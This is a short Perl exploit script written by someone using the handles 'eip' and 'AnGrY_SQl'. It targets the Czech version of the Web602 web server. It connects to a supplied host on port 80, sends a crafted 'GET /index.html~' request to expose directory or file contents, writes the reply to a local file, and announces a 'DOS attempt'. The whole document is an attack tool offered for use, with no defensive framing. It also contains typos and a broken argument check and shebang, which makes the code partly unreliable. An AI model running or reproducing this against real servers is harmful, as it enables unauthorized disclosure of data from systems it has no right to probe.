web602dir.pl

`#/usr/bin/perl  
  
#web602 (cezch version) driectory tree exploit..  
#Written by eip aka deadbeat aka AnGrY_SQl  
  
use IO::Socket;  
print "\nWeb602 (czech version) Directory Tee Exploit\n";  
if (!$ARGV< 0) {  
print "Usage: perl $0 <host>\n";  
}  
$host = $ARGV[0];  
$sox = IO::Socket::INET->new(  
Proto=>"tcp",  
PeerPort=>"80",  
PeerAddr=>$host,  
);  
print "Connected..DOS attempt now;)\n";  
print $sox "GET /index.html~\r\n";  
open FILEHANDLE, ">crap.html";  
while(<$sox>) {  
print FILEHANDLE;  
}  
print "Done..\n";  
close FILEHANDLE;  
close $sox;   
print "Results are in crap.html\n";  
`